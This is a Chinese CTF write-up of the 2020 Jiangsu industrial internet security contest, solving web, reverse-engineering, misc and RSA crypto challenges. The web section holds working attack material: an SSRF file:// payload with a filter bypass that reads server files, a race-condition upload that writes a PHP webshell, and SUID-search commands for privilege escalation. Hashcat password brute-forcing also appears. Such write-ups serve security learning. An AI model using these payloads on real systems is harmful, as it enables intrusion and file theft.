2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛
上午
web
URL
页面输入存在url参数 ?url=，怀疑是SSRF，读取源码：
/index.php?url=file://localhost/ctf.cybersec/../../var/www/html/index.php&submit=SUBMIT<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['submit'])){
$url = $_GET['url'];
if (preg_match('/ctf\.cybersec/i', $url)) {
if (preg_match('/\@|\#|\?/i', $url)) {
die('not @#?');
} else {
$parts = parse_url($url);
if (empty($parts['host']) || $parts['host'] != 'localhost') {
exit('host must be localhost');
} else {
curl($url);
}
}
} else {
die("The URL must contain the 'ctf.cybersec'");
}
}
?>源码里不存在flag和提示，经过尝试找到flag在/flag.txt：
/index.php?url=file://localhost/ctf.cybersec/../flag.txt&submit=SUBMITupload
文件上传提示200OK,但访问又是404,解法是条件竞争,burp开两个intruder窗口，一个持续上传，一个持续访问预期文件名，线程调高即可。
上传生成马：
<?php file_put_contents("shell123.php","test888888<?php phpinfo();?>");?>这题给了flag位置，在/root/flag，直接读是没有权限的，需要执行/etc/下的test才能读取flag，类似于大型竞赛的readflag程序，为了防止破坏flag。
这类readflag程序一般是通过SUID实现的，以下命令将尝试查找具有root权限的SUID的文件，不同系统适用于不同的命令，一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;下午
Misc
签到
flag 就在图片里面
RE_bitsconvert
描述
与门，或门和非门是常见的门电路，现有一个电路，其中一部分有与或非三个门，有一串电流序列，以一定的顺序通过了这个电路。现获取到电流通过这三个门之后的状态，那么原电流的序列是什么？ 提示：md5(flag) == 4c753d89d239bb17b8d754ff981c7772
程序运行后要求输入 0、1,在输入到第32次后会判断答案,那么可以得出揭露 01组成的32位数 md5 == 4c753d89d239bb17b8d754ff981c7772
用 hashcat 爆破
hashcat.exe 4c753d89d239bb17b8d754ff981c7772 -a 3 -m 0 -3 01 ?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3将 10011011101110000010111100001101 输入至程序得到 flag
flag{10011011-10111000-00101111-00001101}
被加密了的设备驱动
附件是一个加密的压缩包,爆破密码,是弱口令 05114568
解压出来是一个文本文件和一个加密的压缩包
ppp内容如下
1 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (hashlib)
6 STORE_NAME 0 (hashlib)
3 8 LOAD_CONST 2 (<code object encode at 0x035438B8, file "misc.py", line 3>)
10 LOAD_CONST 3 ('encode')
12 MAKE_FUNCTION 0
14 STORE_NAME 1 (encode)
10 16 LOAD_CONST 4 (<code object wrong at 0x03543910, file "misc.py", line 10>)
18 LOAD_CONST 5 ('wrong')
20 MAKE_FUNCTION 0
22 STORE_NAME 2 (wrong)
14 24 LOAD_NAME 3 (__name__)
26 LOAD_CONST 6 ('__main__')
28 COMPARE_OP 2 (==)
30 POP_JUMP_IF_FALSE 158
16 32 LOAD_NAME 4 (print)
34 LOAD_CONST 7 ('please input sth ')
36 CALL_FUNCTION 1
38 POP_TOP
17 40 LOAD_NAME 5 (raw_input)
42 CALL_FUNCTION 0
44 STORE_NAME 6 (sss)
19 46 LOAD_NAME 7 (len)
48 LOAD_NAME 6 (sss)
50 CALL_FUNCTION 1
52 LOAD_CONST 8 (14)
54 COMPARE_OP 3 (!=)
56 POP_JUMP_IF_FALSE 64
20 58 LOAD_NAME 2 (wrong)
60 CALL_FUNCTION 0
62 POP_TOP
22 >> 64 LOAD_NAME 6 (sss)
66 LOAD_CONST 1 (None)
68 LOAD_CONST 9 (9)
70 BUILD_SLICE 2
72 BINARY_SUBSCR
74 LOAD_CONST 10 ('clearlove')
76 COMPARE_OP 3 (!=)
78 POP_JUMP_IF_FALSE 86
23 80 LOAD_NAME 2 (wrong)
82 CALL_FUNCTION 0
84 POP_TOP
25 >> 86 LOAD_NAME 6 (sss)
88 LOAD_CONST 11 (-1)
90 BINARY_SUBSCR
92 LOAD_METHOD 8 (isdigit)
94 CALL_METHOD 0
96 POP_JUMP_IF_FALSE 130
98 LOAD_NAME 6 (sss)
100 LOAD_CONST 12 (-2)
102 BINARY_SUBSCR
104 LOAD_METHOD 8 (isdigit)
106 CALL_METHOD 0
108 POP_JUMP_IF_FALSE 130
110 LOAD_NAME 6 (sss)
112 LOAD_CONST 13 (-3)
114 BINARY_SUBSCR
116 LOAD_METHOD 8 (isdigit)
118 CALL_METHOD 0
120 POP_JUMP_IF_FALSE 130
26 122 LOAD_NAME 4 (print)
124 LOAD_CONST 14 ('type is right 0- 0')
126 CALL_FUNCTION 1
128 POP_TOP
28 >> 130 LOAD_NAME 1 (encode)
132 LOAD_NAME 6 (sss)
134 CALL_FUNCTION 1
136 LOAD_CONST 15 ('7276bf625a8c5e65b9e5966bed63bce0')
138 COMPARE_OP 2 (==)
140 POP_JUMP_IF_FALSE 152
29 142 LOAD_NAME 4 (print)
144 LOAD_CONST 16 ('you got it')
146 CALL_FUNCTION 1
148 POP_TOP
150 JUMP_FORWARD 6 (to 158)
31 >> 152 LOAD_NAME 2 (wrong)
154 CALL_FUNCTION 0
156 POP_TOP
>> 158 LOAD_CONST 1 (None)
160 RETURN_VALUE
Disassembly of <code object encode at 0x035438B8, file "misc.py", line 3>:
5 0 LOAD_GLOBAL 0 (hashlib)
2 LOAD_METHOD 1 (md5)
4 CALL_METHOD 0
6 STORE_FAST 1 (hl)
6 8 LOAD_FAST 1 (hl)
10 LOAD_METHOD 2 (update)
12 LOAD_FAST 0 (inpu)
14 LOAD_ATTR 3 (encode)
16 LOAD_CONST 1 ('utf-8')
18 LOAD_CONST 2 (('encoding',))
20 CALL_FUNCTION_KW 1
22 CALL_METHOD 1
24 POP_TOP
8 26 LOAD_FAST 1 (hl)
28 LOAD_METHOD 4 (hexdigest)
30 CALL_METHOD 0
32 RETURN_VALUE
Disassembly of <code object wrong at 0x03543910, file "misc.py", line 10>:
11 0 LOAD_GLOBAL 0 (print)
2 LOAD_CONST 1 ('wrong')
4 CALL_FUNCTION 1
6 POP_TOP
12 8 LOAD_GLOBAL 1 (exit)
10 CALL_FUNCTION 0
12 POP_TOP
14 LOAD_CONST 0 (None)
16 RETURN_VALUE比赛时没做出来,赛后询问朋友得知是 opcode,密码规则是 clearlove + 任意2位字符 + 3位纯数字
hashcat 7276bf625a8c5e65b9e5966bed63bce0 -a 3 -m 0 clearlove?a?a?d?d?d通过md5碰撞确认为 clearlove%?794
解压得到dll,用 strings 一下得到 flag
flag{signal_is_easy_more_challenge!}
异常的流量包
wireshark 打开流量包,过滤一下 s7comm 流量
光S7就足足17w个包,要么是跑脚本,要么是分析异常
按 info 排列, 在 setup communication 中最后一个包有异样
flag{is_not_real}
噪音
压缩包解压出来是个 mp3 文件
这一题需要使用 RX-SSTV 工具,这个 mp3 具有非常明显的特点,做过类似题目的都清楚
打开音频文件，点击 Receiving
ezRSA
原题
output
publickey=[0x1d42aea2879f2e44dea5a13ae3465277b06749ce9059fd8b7b4b560cd861f99144d0775ffffffffffff,5]
c=421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151encryption
[1,28657,2,1,3,17711,5,8,13,21,46368,75025,34,55,89,610,377,144,233,1597,2584,4181,6765,10946,987]yafu 分 n
Sage 跑
p = 9749
q = 11237753507624591
r = 9127680453986244150392840833873266696712898279308227257525736684312919750469261
n = 999999999999999999999999999999999999999999999999989999999999999999999999999999999999999999999999999
assert(p*q*r==n)
F.<x> = PolynomialRing(Zmod(p))
F1.<y> = PolynomialRing(Zmod(q))
F2.<z> = PolynomialRing(Zmod(r))
equation = "x^5-421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151"
equationy = "y^5-421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151"
equationz = "z^5-421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151"
rootp = F(equation).roots()
rootq = F1(equationy).roots()
rootr = F2(equationz).roots()
print(rootp[0][0])
print(rootq)
print(rootr)from Crypto.Util.number import *
import gmpy2
def GCRT(mi, ai):
assert (isinstance(mi, list) and isinstance(ai, list))
curm, cura = mi[0], ai[0]
for (m, a) in zip(mi[1:], ai[1:]):
d = gmpy2.gcd(curm, m)
c = a - cura
assert (c % d == 0) # 不成立则不存在解
K = c / d * gmpy2.invert(curm / d, m / d)
cura += curm * K
curm = curm * m / d
return (cura % curm, curm) # (解,最小公倍数)
n = 0x1d42aea2879f2e44dea5a13ae3465277b06749ce9059fd8b7b4b560cd861f99144d0775ffffffffffff
c = 421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151
p = 9749
q = 11237753507624591
r = n / p / q
e = 5
p_roots = [7361]
q_roots = [2722510300825886, 6139772527803903, 6537111956662153, 8415400986072042, 9898464751509789]
r_roots = [180966415225632465120208272366108475667934082405238808958048294287011243645, 2816114411493328258682873357893989007684496552202823306045771363205185148674391, 1369135259891793292334345751773139388112378132927363770631732500241630990458667, 5570877862584063114417410584640901580756179707042774516590562822938385811269597, 8499052407588078002885931765166137308397074232361087682974448633946350539292222]
m_list = []
for pp in p_roots:
for qq in q_roots:
for rr in r_roots:
res = GCRT([p, q, r], [pp, qq, rr])[0]
if pow(res, e, n) == c:
print long_to_bytes(res)得到 flag{weadfa9987_adwd23123_454f}
然后再进行达芬奇密码移位
w 1 1 w
e 1 28657 5
a 2 2 a
d 3 1 e
f 5 3 d
a 8 17711 4
9 13 5 f
9 21 8 a
8 34 13 9
7 55 21 9
_ 89 46368 4
a 144 75025 f
d 233 34 8
w 377 55 7
d 610 89 _
2 987 610 d
3 1597 377 w
1 2584 144 a
2 4181 233 d
3 6765 1597 3
_ 10946 2584 1
4 17711 4181 2
5 28657 6765 3
4 46368 10946 _
f 75025 987 2second
# encoding=utf-8
import random
from Crypto.Util.number import *
from fractions import gcd
def encrypt(msg, pkey):
msg, cipher = bin(bytes_to_long(msg))[2:], []
x, N = pkey
for bi in msg:
while True:
r = random.randint(1, N)
if gcd(r, N) == 1:
br = bin(r)[2:]
c = (pow(x, int(br + bi, 2), N) * r ** 2) % N
cipher.append(c)
break
return cipher
def make_key( nbit):
while True:
p, q = getPrime(nbit), getPrime(nbit)
N, phi = p * q, (p-1)*(q-1)
x = random.randint(1, N)
if (N % 8 == 1) and (phi % 8 == 4) and (p != q):
if pow(q ** 2 * x, (p-1)//2, p) + pow(p ** 2 * x, (q-1)//2, q) == N - phi - 1:
break
return (x, N), phi
nbit = 1024
flag="***********************"
pkey,phi = make_key(nbit)
enc = encrypt(flag, pkey)
print(phi)
print(pkey[1])
print(enc)pkey[1] = n
剩下的为enc
sage
phi = 18073342511837221460079448265787741023290378482015904462054097159488609786118551016838958389332085278802940181664501460095771901689503087144086198024806833996959331959272928036293631801766532099133638473934624346682456553826961816725646976571715537813264251649134636027997268150627008143101806585720576666552635220727965475452561023341230361554614389710341110220435494577939628686397164534445789296520767510563355259756674795624672252282836525189327763381160669526729256266794057252303945538201386053860877451403413384500268425016376208183084659635450679557312534013090665435717767450483806884512373580050402177593284
n= 18073342511837221460079448265787741023290378482015904462054097159488609786118551016838958389332085278802940181664501460095771901689503087144086198024806833996959331959272928036293631801766532099133638473934624346682456553826961816725646976571715537813264251649134636027997268150627008143101806585720576666552904172009606714255109363340397696863030182973649760792591286879810816823051552478391349772534968660059990629735959534213237559806337995734039618031181129875558746748836156813833869014328267780457412036742252093026494670819741341288486468556796613523206153120383915932057403484789687833422119777623841915278529
p=(n-phi+1-((n-phi+1)^2-4*n).nth_root(2))//2
q=n//p
Fp=Integers(p)
enc=[太大了,这里略]
flag=[0 if Fp(f).is_square() else 1 for f in enc]
print(flag)[1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1]
flag{GO0D_J0b_of_TH1s_encrYption}